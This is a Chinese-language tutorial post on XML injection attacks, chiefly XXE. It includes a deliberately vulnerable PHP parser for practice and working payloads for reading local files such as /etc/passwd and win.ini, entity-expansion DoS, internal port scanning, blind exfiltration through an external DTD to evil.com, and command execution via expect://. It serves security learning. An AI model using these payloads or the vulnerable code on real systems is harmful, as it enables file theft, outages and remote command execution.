XML注入介绍--XXE，XEE,xpath等

XML注入指在请求的XML中插入攻击利用代码。根据不同的场景，可能会形成以下的漏洞形式：

（1）XEE ----xml entity xpansion(xml实体膨胀，用于dos)

具体介绍：http://www.cnblogs.com/lcamry/p/5737318.html

（2）XXE-----xml external entity injection(xml外部实体注入，最为常见的方法)

具体介绍：下面内容以及http://www.waitalone.cn/xxe-attack.html

blind XXE介绍 http://blog.csdn.net/u011721501/article/details/43775691

（3）soap注入

（4）xpath注入

具体介绍http://netsecurity.51cto.com/art/201401/427521.htm

XML实体攻击已经是一个很老的技术了，这里仅对学习的过程做一个记录。

<form method="POST" action="">

<textarea name="keyword" value="" style="width: 500px; height: 300px"></textarea>

<input type="submit" value="submit">

</form>

<?php

$keyword = $_POST['keyword'];

$xml_obj = simplexml_load_string($keyword);

var_dump($xml_obj);

上面这段代码用于XXE实体攻击的练习，你可以将其保存至你的环境下用于测试。（记得删除 :P）

XML讲解可以参考w3schools的教程-XML。

这里简单说一下XML中的实体类型，大致有下面几种：

• 字符实体
• 命名实体
• 外部实体
• 参数实体

除参数实体外，其它实体都以字符（&）开始，以字符（;）结束。常规实体有：&apos;（'）、&amp;（&）、&quot;（"）、&lt;（<）、&gt;（>）。

字符实体类似html中的实体编码，形如：a（十进制）或者a（十六进制）。

命名实体可以说成是变量声明，命名实体只能声明在DTD或者XML文件开始部分（<!DOCTYPE>语句中）。如下面代码所示：

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [

<!ENTITY x "First Param!">

<!ENTITY y "Second Param!">

]>

<root><x>&x;</x><y>&y;</y></root>

外部实体用于加载外部文件的内容。（XXE攻击主要利用此实体）

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPe root [

<!ENTITY outfile SYSTEM "outfile.xml">

]>

<root><outfile>&outfile;</outfile></root>

参数实体用于DTD和文档的内部子集中。与一般实体相比它以字符（%）开始，以字符（;）结束。只有在DTD文件中才能在参数实体声明的时候引用其他实体。（XXE攻击常结合利用参数实体进行数据回显）

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [

<!ENTITY % param1 "Hello">

<!ENTITY % param2 " ">

<!ENTITY % param3 "World">

<!ENTITY dtd SYSTEM "combine.dtd">

%dtd;

]>

<root><foo>&content</foo></root>

combine.dtd中的内容为：

<!ENTITY content "%param1;%param2;%param3;">

个参数实体：

%param1;，%param2;，%param3;。

解析后<foo>...</foo>中的内容为Hello World。

XML实体攻击主要利用了XML实体中的外部实体结合各种协议来读取服务器上的数据，在DTD文件中的参数实体声明时能够引用其他参数实体的值，因此在XXE攻击回显遇到困难时会用到。

* 简单文件读取

因为可以进行外部实体加载，在XXE攻击中常用来进行本地文件读取。

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [

<!ENTITY content SYSTEM "file://localhost/c:/windows/win.ini">

]>

<root><foo>&content;</foo></root>

在使用file://协议时，有以下几种格式：

* Linux

file:///etc/passwd

* Windows

file:///c:/windows/win.ini

file://localhost/c:/windows/win.ini

（下面这两种在某些浏览器里是支持的）

file:///c|windows/win.ini

file://localhost/c|windows/win.ini

除了使用file://协议进行文件读取外，如果XML文档是用PHP进行解析的，那么还可以使用php://filter协议来进行读取。

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [

<!ENTITY content SYSTEM "php://filter/resource=c:/windows/win.ini">

]>

<root><foo>&content;</foo></root>

* DoS攻击

因为解析器会解析文档中的所有实体，因此如果实体声明层层嵌套的话，在一定数量上可以对服务器器造成DoS。

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [

<!ENTITY x1 "CPU Consuming Task!">

<!ENTITY x2 "&x1;&x1;">

<!ENTITY x3 "&x2;&x2;&x2;">

...

<!ENTITY x100 "&x99;&x99;&x99;...">

]>

<root><foo>&x100;</foo></root>

嵌套实体声明曾指数增长，可能造成对服务器的DoS。

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [

<!ENTITY dos SYSTEM "/dev/zero">

]>

<root></root>

加载一个不稳定的文件描述也可能产生DoS。

* 端口扫描

加载外部DTD时有两种加载方式，一种为私有private，第二种为公告public。

私有类型DTD加载：

<!ENTITY private_dtd SYSTEM "DTD_location">

公共类型DTD加载：

<!ENTITY public_dtd PUBLIC "DTD_name" "DTD_location">

在公共类型DTD加载的时候，首先会使用DTD_name来检索，如果无法找到，则通过DTD_location来寻找此公共DTD。利用DTD_location，在一定的环境下可以用来做内网探测。

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [

<!ENTITY portscan SYSTEM "http://localhost:3389">

]>

<root><foo>&portscan;</foo></root>

因解析器种类不同，所以针对XXE攻击进行端口扫描需要一个合适的环境才能够实现，例如：有明显的连接错误信息。

* 利用DTD进行数据回显

当利用XXE攻击进行文件读取时经常因为没有回显而显得鸡肋，这个时候就可以结合参数实体的特殊性，加载一个外部DTD来进行回显。

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/windows/win.ini">

<!ENTITY % dtd SYSTEM "http://192.168.1.100:8000/evil.dtd">

%dtd;

%send;

]>

<root></root>

其中evil.dtd的内容如下：

<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://evil.com/?content=%file;'>">

%payload;

在DTD文件中声明了参数实体payload，其值是一个实体参数声明，因为是在DTD里面，所以可以引用上文的%file;参数实体，%file;参数实体为c:/windows/win.ini文本的内容。最后在原XML里引用DTD中的参数实体，此时就可以讲本地文件读取的内容通过HTTP发送出去（为了让请求的URL有效，这里对使用了php://filter协议，并将内容使用base64进行了编码）。

此方法针对数据不回显的情况及其有用。

* 远程命令执行

当然了，除了文件读取和DoS外，某些情况下还能进行RCE。例如在PHP开启了PECL上的Expect扩展时，就能使用expect://协议来执行命令。

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [

<!ENTITY content SYSTEM "expect://dir .">

]>

<root><foo>&content;</foo></root>

利用XXE攻击时需要结合实际环境才能发挥出其威力。:D

参考

• http://www.ibm.com/developerworks/cn/xml/x-entities/
• https://www.youtube.com/watch?v=eHSNT8vWLfc
• http://blogs.msdn.com/b/ie/archive/2006/12/06/file-uris-in-windows.aspx
• http://en.wikipedia.org/wiki/File_URI_scheme